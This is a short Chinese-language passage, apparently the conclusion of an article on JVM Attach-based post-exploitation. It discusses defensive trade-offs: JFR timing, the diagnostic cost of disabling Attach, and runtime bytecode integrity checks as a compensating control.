- 防御前提:JFR 必须在攻击发生前启动,否则无法捕获
八、小结
关于攻击链定位
本文描述的技术是后渗透阶段的操作,前提是攻击者已拥有对目标JVM进程的操作权限。完整的攻击链是:

彻底禁用Attach机制是有效防御,但代价是失去全部JVM诊断能力。需要jcmd、jstack、jmap、JFR等工具排查性能问题和故障。这形成了安全与可观测性的经典矛盾。
更合理的工程实践是:不禁用Attach,但建立运行时字节码的完整性校验作为补偿性控制。如同不关闭SSH端口,但使用密钥认证+fail2ban+审计日志来管理风险。